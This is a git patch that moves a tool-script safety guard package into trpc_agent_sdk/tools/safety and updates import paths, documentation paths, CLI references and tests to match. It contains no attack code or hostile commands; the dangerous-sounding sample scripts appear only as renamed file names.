15 Jul 2026 15:38:41 +0800 Subject: [PATCH 7/8] move to tools --- docs/mkdocs/en/tool_safety_guard.md | 42 +++++------ docs/mkdocs/zh/tool_safety_guard.zh_CN.md | 42 +++++------ scripts/tool_safety_check.py | 16 ++--- tests/tool_safety/conftest.py | 9 ++- tests/tool_safety/test_audit.py | 4 +- tests/tool_safety/test_bash_scanner.py | 6 +- tests/tool_safety/test_cli.py | 10 ++- tests/tool_safety/test_cross_field_scanner.py | 6 +- tests/tool_safety/test_filter.py | 10 +-- tests/tool_safety/test_guard.py | 10 +-- tests/tool_safety/test_integration.py | 20 ++++-- tests/tool_safety/test_models.py | 2 +- tests/tool_safety/test_performance.py | 6 +- tests/tool_safety/test_policy.py | 4 +- tests/tool_safety/test_python_scanner.py | 6 +- tests/tool_safety/test_redaction.py | 4 +- tests/tool_safety/test_tool_adapter.py | 8 +-- tests/tool_safety/test_wrapper.py | 17 +++-- tool/__init__.py | 71 ------------------- .../tools}/safety/__init__.py | 27 +++---- .../tools}/safety/_audit.py | 4 +- .../tools}/safety/_bash_scanner.py | 6 +- .../tools}/safety/_cross_field_scanner.py | 12 ++-- .../tools}/safety/_exceptions.py | 0 .../tools}/safety/_facts.py | 2 +- .../tools}/safety/_filter.py | 14 ++-- .../tools}/safety/_guard.py | 12 ++-- .../tools}/safety/_models.py | 0 .../tools}/safety/_policy.py | 4 +- .../tools}/safety/_python_scanner.py | 12 ++-- .../tools}/safety/_redaction.py | 2 +- .../tools}/safety/_rules.py | 16 ++--- .../tools}/safety/_telemetry.py | 36 +++++----- .../tools}/safety/_tool_adapter.py | 6 +- .../tools}/safety/examples/README.md | 8 +-- .../tools}/safety/examples/manifest_run.json | 0 .../safety/examples/samples/01_safe_python.py | 0 .../safety/examples/samples/02_safe_bash.sh | 0 .../examples/samples/03_dangerous_delete.py | 0 .../examples/samples/04_read_ssh_key.py | 0 .../samples/05_non_whitelist_network.py | 0 .../examples/samples/06_whitelist_network.py | 0 .../examples/samples/07_allowed_subprocess.py | 0 .../examples/samples/08_shell_injection.py | 0 .../examples/samples/09_dependency_install.sh | 0 .../examples/samples/10_infinite_loop.py | 0 .../examples/samples/11_sensitive_output.py | 0 .../examples/samples/12_bash_pipeline.sh | 0 .../safety/examples/samples/13_read_dotenv.sh | 0 .../samples/14_dynamic_command_review.py | 0 .../safety/examples/samples/manifest.yaml | 0 .../safety/examples/tool_safety_audit.jsonl | 0 .../safety/examples/tool_safety_policy.yaml | 0 .../safety/examples/tool_safety_report.json | 0 .../tools/safety}/wrapper.py | 19 ++--- 55 files changed, 212 insertions(+), 261 deletions(-) delete mode 100644 tool/__init__.py rename {tool => trpc_agent_sdk/tools}/safety/__init__.py (54%) rename {tool => trpc_agent_sdk/tools}/safety/_audit.py (95%) rename {tool => trpc_agent_sdk/tools}/safety/_bash_scanner.py (99%) rename {tool => trpc_agent_sdk/tools}/safety/_cross_field_scanner.py (96%) rename {tool => trpc_agent_sdk/tools}/safety/_exceptions.py (100%) rename {tool => trpc_agent_sdk/tools}/safety/_facts.py (98%) rename {tool => trpc_agent_sdk/tools}/safety/_filter.py (97%) rename {tool => trpc_agent_sdk/tools}/safety/_guard.py (95%) rename {tool => trpc_agent_sdk/tools}/safety/_models.py (100%) rename {tool => trpc_agent_sdk/tools}/safety/_policy.py (98%) rename {tool => trpc_agent_sdk/tools}/safety/_python_scanner.py (99%) rename {tool => trpc_agent_sdk/tools}/safety/_redaction.py (98%) rename {tool => trpc_agent_sdk/tools}/safety/_rules.py (98%) rename {tool => trpc_agent_sdk/tools}/safety/_telemetry.py (83%) rename {tool => trpc_agent_sdk/tools}/safety/_tool_adapter.py (96%) rename {tool => trpc_agent_sdk/tools}/safety/examples/README.md (91%) rename {tool => trpc_agent_sdk/tools}/safety/examples/manifest_run.json (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/samples/01_safe_python.py (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/samples/02_safe_bash.sh (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/samples/03_dangerous_delete.py (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/samples/04_read_ssh_key.py (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/samples/05_non_whitelist_network.py (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/samples/06_whitelist_network.py (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/samples/07_allowed_subprocess.py (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/samples/08_shell_injection.py (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/samples/09_dependency_install.sh (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/samples/10_infinite_loop.py (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/samples/11_sensitive_output.py (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/samples/12_bash_pipeline.sh (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/samples/13_read_dotenv.sh (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/samples/14_dynamic_command_review.py (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/samples/manifest.yaml (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/tool_safety_audit.jsonl (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/tool_safety_policy.yaml (100%) rename {tool => trpc_agent_sdk/tools}/safety/examples/tool_safety_report.json (100%) rename {tool => trpc_agent_sdk/tools/safety}/wrapper.py (95%) diff --git a/docs/mkdocs/en/tool_safety_guard.md b/docs/mkdocs/en/tool_safety_guard.md index 32750b94..d198caf5 100644 --- a/docs/mkdocs/en/tool_safety_guard.md +++ b/docs/mkdocs/en/tool_safety_guard.md @@ -62,9 +62,9 @@ permissions, and runtime resource limits. ```bash python scripts/tool_safety_check.py \ - --policy tool/safety/examples/tool_safety_policy.yaml \ + --policy trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml \ --language python \ - --script-file tool/safety/examples/samples/03_dangerous_delete.py \ + --script-file trpc_agent_sdk/tools/safety/examples/samples/03_dangerous_delete.py \ --output tool_safety_report.json \ --audit-file tool_safety_audit.jsonl echo $? # 0=allow, 2=deny, 3=review, 4=input/policy error @@ -74,23 +74,23 @@ Run the manifest to scan all 14 public samples: ```bash python scripts/tool_safety_check.py \ - --policy tool/safety/examples/tool_safety_policy.yaml \ - --manifest tool/safety/examples/samples/manifest.yaml \ - --manifest-output tool/safety/examples/manifest_run.json \ - --audit-file tool/safety/examples/tool_safety_audit.jsonl + --policy trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml \ + --manifest trpc_agent_sdk/tools/safety/examples/samples/manifest.yaml \ + --manifest-output trpc_agent_sdk/tools/safety/examples/manifest_run.json \ + --audit-file trpc_agent_sdk/tools/safety/examples/tool_safety_audit.jsonl ``` ## Programmatic usage ```python -from tool.safety import ( +from trpc_agent_sdk.tools.safety import ( ToolSafetyGuard, load_safety_policy, SafetyScanRequest, ScriptLanguage, ) -policy = load_safety_policy("tool/safety/examples/tool_safety_policy.yaml") +policy = load_safety_policy("trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml") guard = ToolSafetyGuard(policy) request = SafetyScanRequest( @@ -108,8 +108,8 @@ print(report.decision, report.rule_ids) ```python import subprocess -from tool.wrapper import SafetyWrappedCallable -from tool.safety import ToolSafetyGuard, load_safety_policy, ScriptLanguage +from trpc_agent_sdk.tools.safety import SafetyWrappedCallable +from trpc_agent_sdk.tools.safety import ToolSafetyGuard, load_safety_policy, ScriptLanguage guard = ToolSafetyGuard(load_safety_policy("policy.yaml")) safe_run = SafetyWrappedCallable( @@ -131,8 +131,8 @@ names so the normalized request contains every available execution field. ### Wrapping a code executor ```python -from tool.wrapper import SafetyCheckedExecutor -from tool.safety import ToolSafetyGuard, load_safety_policy, ScriptLanguage +from trpc_agent_sdk.tools.safety import SafetyCheckedExecutor +from trpc_agent_sdk.tools.safety import ToolSafetyGuard, load_safety_policy, ScriptLanguage guard = ToolSafetyGuard(load_safety_policy("policy.yaml")) safe_executor = SafetyCheckedExecutor( @@ -255,13 +255,13 @@ When OpenTelemetry is active the guard sets these low-cardinality span attributes on the current span: ```text -tool.safety.decision -tool.safety.risk_level -tool.safety.rule_id # comma-separated, bounded to 8 entries -tool.safety.blocked -tool.safety.redacted -tool.safety.scan_duration_ms -tool.safety.policy_hash +trpc_agent_sdk.tools.safety.decision +trpc_agent_sdk.tools.safety.risk_level +trpc_agent_sdk.tools.safety.rule_id # comma-separated, bounded to 8 entries +trpc_agent_sdk.tools.safety.blocked +trpc_agent_sdk.tools.safety.redacted +trpc_agent_sdk.tools.safety.scan_duration_ms +trpc_agent_sdk.tools.safety.policy_hash ``` Metrics emitted (no-op when OTel is absent): @@ -302,7 +302,7 @@ all argument-mutating callbacks. The wrapper remains mandatory until then. Implement :class:`SafetyRule` and pass the rule list explicitly: ```python -from tool.safety import ToolSafetyGuard, SafetyScanRequest +from trpc_agent_sdk.tools.safety import ToolSafetyGuard, SafetyScanRequest class MyRule: rule_id = "CUSTOM001_MY_RULE" @@ -397,7 +397,7 @@ tool/ scripts/ tool_safety_check.py # CLI tests/tool_safety/ # safety guard tests -tool/safety/examples/ +trpc_agent_sdk/tools/safety/examples/ tool_safety_policy.yaml # sample policy samples/ # 14 public samples + manifest tool_safety_report.json # generated report diff --git a/docs/mkdocs/zh/tool_safety_guard.zh_CN.md b/docs/mkdocs/zh/tool_safety_guard.zh_CN.md index 6f0ea8b4..661f192c 100644 --- a/docs/mkdocs/zh/tool_safety_guard.zh_CN.md +++ b/docs/mkdocs/zh/tool_safety_guard.zh_CN.md @@ -53,9 +53,9 @@ span 属性/指标输出。 ```bash python scripts/tool_safety_check.py \ - --policy tool/safety/examples/tool_safety_policy.yaml \ + --policy trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml \ --language python \ - --script-file tool/safety/examples/samples/03_dangerous_delete.py \ + --script-file trpc_agent_sdk/tools/safety/examples/samples/03_dangerous_delete.py \ --output tool_safety_report.json \ --audit-file tool_safety_audit.jsonl echo $? # 0=allow, 2=deny, 3=review, 4=输入/策略/必需审计错误 @@ -65,23 +65,23 @@ echo $? # 0=allow, 2=deny, 3=review, 4=输入/策略/必需审计错误 ```bash python scripts/tool_safety_check.py \ - --policy tool/safety/examples/tool_safety_policy.yaml \ - --manifest tool/safety/examples/samples/manifest.yaml \ - --manifest-output tool/safety/examples/manifest_run.json \ - --audit-file tool/safety/examples/tool_safety_audit.jsonl + --policy trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml \ + --manifest trpc_agent_sdk/tools/safety/examples/samples/manifest.yaml \ + --manifest-output trpc_agent_sdk/tools/safety/examples/manifest_run.json \ + --audit-file trpc_agent_sdk/tools/safety/examples/tool_safety_audit.jsonl ``` ## 作为库使用 ```python -from tool.safety import ( +from trpc_agent_sdk.tools.safety import ( ToolSafetyGuard, load_safety_policy, SafetyScanRequest, ScriptLanguage, ) -policy = load_safety_policy("tool/safety/examples/tool_safety_policy.yaml") +policy = load_safety_policy("trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml") guard = ToolSafetyGuard(policy) request = SafetyScanRequest( @@ -99,8 +99,8 @@ print(report.decision, report.rule_ids) ```python import subprocess -from tool.wrapper import SafetyWrappedCallable -from tool.safety import ToolSafetyGuard, load_safety_policy, ScriptLanguage +from trpc_agent_sdk.tools.safety import SafetyWrappedCallable +from trpc_agent_sdk.tools.safety import ToolSafetyGuard, load_safety_policy, ScriptLanguage guard = ToolSafetyGuard(load_safety_policy("policy.yaml")) safe_run = SafetyWrappedCallable( @@ -121,8 +121,8 @@ safe_run("ls -la") # 策略拒绝时抛出 BlockedExecutionError ### 包装 CodeExecutor ```python -from tool.wrapper import SafetyCheckedExecutor -from tool.safety import ToolSafetyGuard, load_safety_policy, ScriptLanguage +from trpc_agent_sdk.tools.safety import SafetyCheckedExecutor +from trpc_agent_sdk.tools.safety import ToolSafetyGuard, load_safety_policy, ScriptLanguage guard = ToolSafetyGuard(load_safety_policy("policy.yaml")) safe_executor = SafetyCheckedExecutor( @@ -249,13 +249,13 @@ audit: 启用 OpenTelemetry 后，Guard 在当前 span 上写入低基数属性： ```text -tool.safety.decision -tool.safety.risk_level -tool.safety.rule_id # 逗号分隔，最多 8 项 -tool.safety.blocked -tool.safety.redacted -tool.safety.scan_duration_ms -tool.safety.policy_hash +trpc_agent_sdk.tools.safety.decision +trpc_agent_sdk.tools.safety.risk_level +trpc_agent_sdk.tools.safety.rule_id # 逗号分隔，最多 8 项 +trpc_agent_sdk.tools.safety.blocked +trpc_agent_sdk.tools.safety.redacted +trpc_agent_sdk.tools.safety.scan_duration_ms +trpc_agent_sdk.tools.safety.policy_hash ``` OTel 不存在时指标会安全地 no-op。可用指标： @@ -295,7 +295,7 @@ TOCTOU 绕过。因此目前必须使用 ``SafetyWrappedCallable`` 或 实现 ``SafetyRule`` 并显式传入规则列表： ```python -from tool.safety import ToolSafetyGuard, SafetyScanRequest +from trpc_agent_sdk.tools.safety import ToolSafetyGuard, SafetyScanRequest class MyRule: rule_id = "CUSTOM001_MY_RULE" @@ -351,7 +351,7 @@ tool/ scripts/ tool_safety_check.py # CLI tests/tool_safety/ # 安全检查器测试 -tool/safety/examples/ # 策略、14 个样例、报告和审计样例 +trpc_agent_sdk/tools/safety/examples/ # 策略、14 个样例、报告和审计样例 docs/ tool_safety_guard.md # English version tool_safety_guard.zh_CN.md # 本文 diff --git a/scripts/tool_safety_check.py b/scripts/tool_safety_check.py index 62589a26..1ae7a1c0 100644 --- a/scripts/tool_safety_check.py +++ b/scripts/tool_safety_check.py @@ -3,7 +3,7 @@ Usage:: python scripts/tool_safety_check.py \\ - --policy tool/safety/examples/tool_safety_policy.yaml \\ + --policy trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml \\ --language python \\ --script-file path/to/script.py \\ --tool-name demo @@ -30,24 +30,24 @@ import yaml -# Ensure the repo root is on sys.path so ``import tool.safety`` works +# Ensure the repo root is on sys.path so ``import trpc_agent_sdk.tools.safety`` works # when the CLI is invoked directly via ``python scripts/...``. _REPO_ROOT = Path(__file__).resolve().parents[1] if str(_REPO_ROOT) not in sys.path: sys.path.insert(0, str(_REPO_ROOT)) -from tool.safety._audit import InMemoryAuditSink, JsonlAuditSink # noqa: E402 -from tool.safety._exceptions import SafetyAuditError # noqa: E402 -from tool.safety._guard import ToolSafetyGuard # noqa: E402 -from tool.safety._models import ( # noqa: E402 +from trpc_agent_sdk.tools.safety._audit import InMemoryAuditSink, JsonlAuditSink # noqa: E402 +from trpc_agent_sdk.tools.safety._exceptions import SafetyAuditError # noqa: E402 +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard # noqa: E402 +from trpc_agent_sdk.tools.safety._models import ( # noqa: E402 SafetyDecision, SafetyReport, SafetyScanRequest, ScriptLanguage, ToolKind, ) -from tool.safety._policy import load_safety_policy # noqa: E402 -from tool.safety._telemetry import build_audit_event # noqa: E402 +from trpc_agent_sdk.tools.safety._policy import load_safety_policy # noqa: E402 +from trpc_agent_sdk.tools.safety._telemetry import build_audit_event # noqa: E402 def main(argv: Sequence[str] | None = None) -> int: diff --git a/tests/tool_safety/conftest.py b/tests/tool_safety/conftest.py index 685416cf..bc3aabe2 100644 --- a/tests/tool_safety/conftest.py +++ b/tests/tool_safety/conftest.py @@ -6,12 +6,15 @@ import pytest -from tool.safety._guard import ToolSafetyGuard -from tool.safety._policy import load_safety_policy +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._policy import load_safety_policy REPO_ROOT = Path(__file__).resolve().parents[2] -EXAMPLE_POLICY = REPO_ROOT / "examples" / "tool_safety" / "tool_safety_policy.yaml" +EXAMPLE_POLICY = ( + REPO_ROOT / "trpc_agent_sdk" / "tools" / "safety" / "examples" + / "tool_safety_policy.yaml" +) @pytest.fixture diff --git a/tests/tool_safety/test_audit.py b/tests/tool_safety/test_audit.py index b695f0bc..1d2d0ac8 100644 --- a/tests/tool_safety/test_audit.py +++ b/tests/tool_safety/test_audit.py @@ -9,8 +9,8 @@ import pytest -from tool.safety._audit import InMemoryAuditSink, JsonlAuditSink -from tool.safety._models import ( +from trpc_agent_sdk.tools.safety._audit import InMemoryAuditSink, JsonlAuditSink +from trpc_agent_sdk.tools.safety._models import ( RiskLevel, SafetyAuditEvent, SafetyDecision, diff --git a/tests/tool_safety/test_bash_scanner.py b/tests/tool_safety/test_bash_scanner.py index ccdb9706..7eb0db55 100644 --- a/tests/tool_safety/test_bash_scanner.py +++ b/tests/tool_safety/test_bash_scanner.py @@ -4,9 +4,9 @@ import pytest -from tool.safety._guard import ToolSafetyGuard -from tool.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage -from tool.safety._policy import load_safety_policy_dict +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from trpc_agent_sdk.tools.safety._policy import load_safety_policy_dict @pytest.fixture diff --git a/tests/tool_safety/test_cli.py b/tests/tool_safety/test_cli.py index fc68998f..a2640bdb 100644 --- a/tests/tool_safety/test_cli.py +++ b/tests/tool_safety/test_cli.py @@ -11,7 +11,10 @@ REPO_ROOT = Path(__file__).resolve().parents[2] CLI = REPO_ROOT / "scripts" / "tool_safety_check.py" -POLICY = REPO_ROOT / "tool" / "safety" / "examples" / "tool_safety_policy.yaml" +POLICY = ( + REPO_ROOT / "trpc_agent_sdk" / "tools" / "safety" / "examples" + / "tool_safety_policy.yaml" +) def _run_cli(*args: str) -> tuple[int, str, str]: @@ -74,7 +77,10 @@ def test_required_audit_failure_exits_4(tmp_path): def test_manifest_writes_output(tmp_path): - manifest = REPO_ROOT / "tool" / "safety" / "examples" / "samples" / "manifest.yaml" + manifest = ( + REPO_ROOT / "trpc_agent_sdk" / "tools" / "safety" / "examples" + / "samples" / "manifest.yaml" + ) output = tmp_path / "out.json" audit = tmp_path / "audit.jsonl" cmd = [sys.executable, str(CLI), "--policy", str(POLICY), diff --git a/tests/tool_safety/test_cross_field_scanner.py b/tests/tool_safety/test_cross_field_scanner.py index 8e42ec09..dc4888de 100644 --- a/tests/tool_safety/test_cross_field_scanner.py +++ b/tests/tool_safety/test_cross_field_scanner.py @@ -4,9 +4,9 @@ import pytest -from tool.safety._guard import ToolSafetyGuard -from tool.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage -from tool.safety._policy import load_safety_policy_dict +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from trpc_agent_sdk.tools.safety._policy import load_safety_policy_dict @pytest.fixture diff --git a/tests/tool_safety/test_filter.py b/tests/tool_safety/test_filter.py index a2b6747e..12366cbb 100644 --- a/tests/tool_safety/test_filter.py +++ b/tests/tool_safety/test_filter.py @@ -7,11 +7,11 @@ import pytest -from tool.safety._audit import InMemoryAuditSink -from tool.safety._filter import BlockedExecutionError, ToolScriptSafetyFilter -from tool.safety._guard import ToolSafetyGuard -from tool.safety._models import SafetyDecision, ToolKind -from tool.safety._policy import load_safety_policy_dict +from trpc_agent_sdk.tools.safety._audit import InMemoryAuditSink +from trpc_agent_sdk.tools.safety._filter import BlockedExecutionError, ToolScriptSafetyFilter +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import SafetyDecision, ToolKind +from trpc_agent_sdk.tools.safety._policy import load_safety_policy_dict @pytest.fixture diff --git a/tests/tool_safety/test_guard.py b/tests/tool_safety/test_guard.py index 9133ecf3..81660ca7 100644 --- a/tests/tool_safety/test_guard.py +++ b/tests/tool_safety/test_guard.py @@ -4,9 +4,9 @@ import pytest -from tool.safety._guard import ToolSafetyGuard -from tool.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage -from tool.safety._policy import load_safety_policy_dict +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from trpc_agent_sdk.tools.safety._policy import load_safety_policy_dict def test_allow_path_uses_safe000(strict_policy_dict): @@ -61,8 +61,8 @@ def test_policy_hash_propagates(strict_policy_dict): def test_duplicate_rule_ids_rejected(strict_policy_dict): - from tool.safety._python_scanner import PythonScannerRule - from tool.safety._exceptions import SafetyGuardError + from trpc_agent_sdk.tools.safety._python_scanner import PythonScannerRule + from trpc_agent_sdk.tools.safety._exceptions import SafetyGuardError policy = load_safety_policy_dict(strict_policy_dict) with pytest.raises(SafetyGuardError): diff --git a/tests/tool_safety/test_integration.py b/tests/tool_safety/test_integration.py index 5920cff4..37525aef 100644 --- a/tests/tool_safety/test_integration.py +++ b/tests/tool_safety/test_integration.py @@ -1,7 +1,7 @@ """Integration tests: manifest samples must match expected decisions. These tests verify the public manifest in -``tool/safety/examples/samples/manifest.yaml``. Per the issue acceptance +``trpc_agent_sdk/tools/safety/examples/samples/manifest.yaml``. Per the issue acceptance criteria: every sample must produce a structured report, high-risk detection must be >= 90%, safe false positives <= 10%, and the key-credential-delete-non-allowlist categories must be 100%. @@ -14,14 +14,20 @@ import pytest import yaml -from tool.safety._guard import ToolSafetyGuard -from tool.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage -from tool.safety._policy import load_safety_policy +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from trpc_agent_sdk.tools.safety._policy import load_safety_policy REPO_ROOT = Path(__file__).resolve().parents[2] -POLICY_PATH = REPO_ROOT / "tool" / "safety" / "examples" / "tool_safety_policy.yaml" -MANIFEST_PATH = REPO_ROOT / "tool" / "safety" / "examples" / "samples" / "manifest.yaml" +POLICY_PATH = ( + REPO_ROOT / "trpc_agent_sdk" / "tools" / "safety" / "examples" + / "tool_safety_policy.yaml" +) +MANIFEST_PATH = ( + REPO_ROOT / "trpc_agent_sdk" / "tools" / "safety" / "examples" + / "samples" / "manifest.yaml" +) @pytest.fixture(scope="module") @@ -123,7 +129,7 @@ def test_policy_changes_decision_without_code_change(strict_policy_dict): """Tweak a domain in the YAML; verify behavior changes without code.""" import copy - from tool.safety._policy import load_safety_policy_dict + from trpc_agent_sdk.tools.safety._policy import load_safety_policy_dict base = copy.deepcopy(strict_policy_dict) # Domain NOT allowlisted in base policy -> deny. diff --git a/tests/tool_safety/test_models.py b/tests/tool_safety/test_models.py index 5a1fa1e9..d4df010d 100644 --- a/tests/tool_safety/test_models.py +++ b/tests/tool_safety/test_models.py @@ -7,7 +7,7 @@ import pytest from pydantic import ValidationError -from tool.safety._models import ( +from trpc_agent_sdk.tools.safety._models import ( SAFE_RULE_ID, Evidence, RiskCategory, diff --git a/tests/tool_safety/test_performance.py b/tests/tool_safety/test_performance.py index 0dc35a61..67219cd8 100644 --- a/tests/tool_safety/test_performance.py +++ b/tests/tool_safety/test_performance.py @@ -6,9 +6,9 @@ import pytest -from tool.safety._guard import ToolSafetyGuard -from tool.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage -from tool.safety._policy import load_safety_policy_dict +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from trpc_agent_sdk.tools.safety._policy import load_safety_policy_dict def _make_large_script(lines: int = 500) -> str: diff --git a/tests/tool_safety/test_policy.py b/tests/tool_safety/test_policy.py index 357f2a3d..a75c295a 100644 --- a/tests/tool_safety/test_policy.py +++ b/tests/tool_safety/test_policy.py @@ -7,8 +7,8 @@ import pytest -from tool.safety._exceptions import SafetyPolicyError -from tool.safety._policy import ( +from trpc_agent_sdk.tools.safety._exceptions import SafetyPolicyError +from trpc_agent_sdk.tools.safety._policy import ( POLICY_VERSION, load_safety_policy, load_safety_policy_dict, diff --git a/tests/tool_safety/test_python_scanner.py b/tests/tool_safety/test_python_scanner.py index ec7ea80f..18d0677a 100644 --- a/tests/tool_safety/test_python_scanner.py +++ b/tests/tool_safety/test_python_scanner.py @@ -4,9 +4,9 @@ import pytest -from tool.safety._guard import ToolSafetyGuard -from tool.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage -from tool.safety._policy import load_safety_policy_dict +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from trpc_agent_sdk.tools.safety._policy import load_safety_policy_dict @pytest.fixture diff --git a/tests/tool_safety/test_redaction.py b/tests/tool_safety/test_redaction.py index 5ad09940..8bf18072 100644 --- a/tests/tool_safety/test_redaction.py +++ b/tests/tool_safety/test_redaction.py @@ -4,8 +4,8 @@ import json -from tool.safety._redaction import Redactor -from tool.safety._models import ScriptLanguage +from trpc_agent_sdk.tools.safety._redaction import Redactor +from trpc_agent_sdk.tools.safety._models import ScriptLanguage def test_env_value_redacted(): diff --git a/tests/tool_safety/test_tool_adapter.py b/tests/tool_safety/test_tool_adapter.py index 26fddf22..da677404 100644 --- a/tests/tool_safety/test_tool_adapter.py +++ b/tests/tool_safety/test_tool_adapter.py @@ -4,14 +4,14 @@ import pytest -from tool.safety._exceptions import ToolRequestError -from tool.safety._models import ScriptLanguage, ToolKind -from tool.safety._tool_adapter import ( +from trpc_agent_sdk.tools.safety._exceptions import ToolRequestError +from trpc_agent_sdk.tools.safety._models import ScriptLanguage, ToolKind +from trpc_agent_sdk.tools.safety._tool_adapter import ( ToolInputAdapter, build_default_adapters, resolve_adapter, ) -from tool.safety._policy import load_safety_policy_dict +from trpc_agent_sdk.tools.safety._policy import load_safety_policy_dict def test_workspace_exec_adapter_extracts_command(strict_policy_dict): diff --git a/tests/tool_safety/test_wrapper.py b/tests/tool_safety/test_wrapper.py index 2740eded..7adb048a 100644 --- a/tests/tool_safety/test_wrapper.py +++ b/tests/tool_safety/test_wrapper.py @@ -4,12 +4,15 @@ import pytest -from tool.safety._audit import InMemoryAuditSink -from tool.safety._filter import BlockedExecutionError, ToolScriptSafetyFilter -from tool.safety._guard import ToolSafetyGuard -from tool.safety._models import ScriptLanguage, ToolKind -from tool.safety._policy import load_safety_policy_dict -from tool.wrapper import SafetyCheckedExecutor, SafetyWrappedCallable +from trpc_agent_sdk.tools.safety._audit import InMemoryAuditSink +from trpc_agent_sdk.tools.safety._filter import BlockedExecutionError, ToolScriptSafetyFilter +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import ScriptLanguage, ToolKind +from trpc_agent_sdk.tools.safety._policy import load_safety_policy_dict +from trpc_agent_sdk.tools.safety import ( + SafetyCheckedExecutor, + SafetyWrappedCallable, +) @pytest.fixture @@ -142,7 +145,7 @@ async def execute_code(self, inp): audit_sink=InMemoryAuditSink()) result = asyncio.run(wrapped.execute_code(FakeInput())) # noqa: F821 assert called == [] - assert "blocked" in result.output or "tool.safety" in result.output + assert "blocked" in result.output or "trpc_agent_sdk.tools.safety" in result.output def test_executor_scans_code_attribute_when_blocks_are_empty(guard): diff --git a/tool/__init__.py b/tool/__init__.py deleted file mode 100644 index 611bdea4..00000000 --- a/tool/__init__.py +++ /dev/null @@ -1,71 +0,0 @@ -"""Top-level package for the standalone Tool Script Safety Guard reference. - -This package is deliberately self-contained. It must not import from -``trpc_agent_sdk`` so that it can be reused, audited, and tested in isolation. -The framework integration points (Tool Filter, CodeExecutor wrapper) consume -the public surface exported here without modifying existing SDK files. -""" - -from tool.safety._exceptions import ( - SafetyAuditError, - SafetyPolicyError, - SafetyGuardError, - SafetyScannerError, -) -from tool.safety._models import ( - Evidence, - RiskCategory, - RiskLevel, - SafetyAuditEvent, - SafetyDecision, - SafetyFinding, - SafetyReport, - SafetyScanRequest, - ScriptLanguage, - ToolKind, -) -from tool.safety._policy import ( - ToolSafetyPolicy, - load_safety_policy, -) -from tool.safety._guard import ToolSafetyGuard -from tool.safety._rules import SafetyRule, default_rules -from tool.safety._audit import AuditSink, InMemoryAuditSink, JsonlAuditSink -from tool.safety._tool_adapter import ( - ToolInputAdapter, - ToolRequestError, - build_default_adapters, -) -from tool.safety._filter import ToolScriptSafetyFilter -from tool.wrapper import SafetyCheckedExecutor, SafetyWrappedCallable - -__all__ = [ - "AuditSink", - "Evidence", - "InMemoryAuditSink", - "JsonlAuditSink", - "RiskCategory", - "RiskLevel", - "SafetyAuditError", - "SafetyAuditEvent", - "SafetyCheckedExecutor", - "SafetyDecision", - "SafetyFinding", - "SafetyGuardError", - "SafetyPolicyError", - "SafetyReport", - "SafetyRule", - "SafetyScanRequest", - "SafetyScannerError", - "SafetyWrappedCallable", - "ScriptLanguage", - "ToolInputAdapter", - "ToolKind", - "ToolRequestError", - "ToolSafetyGuard", - "ToolSafetyPolicy", - "ToolScriptSafetyFilter", - "build_default_adapters", - "default_rules", - "load_safety_policy", -] diff --git a/tool/safety/__init__.py b/trpc_agent_sdk/tools/safety/__init__.py similarity index 54% rename from tool/safety/__init__.py rename to trpc_agent_sdk/tools/safety/__init__.py index c7aaa01e..b4916ad8 100644 --- a/tool/safety/__init__.py +++ b/trpc_agent_sdk/tools/safety/__init__.py @@ -1,15 +1,12 @@ -"""Standalone Tool Script Safety Guard. +"""Tool Script Safety Guard public API. Internal modules are private.""" -Public surface is exported via :mod:`tool`. Internal modules are private. -""" - -from tool.safety._exceptions import ( +from trpc_agent_sdk.tools.safety._exceptions import ( SafetyAuditError, SafetyGuardError, SafetyPolicyError, SafetyScannerError, ) -from tool.safety._models import ( +from trpc_agent_sdk.tools.safety._models import ( Evidence, RiskCategory, RiskLevel, @@ -21,16 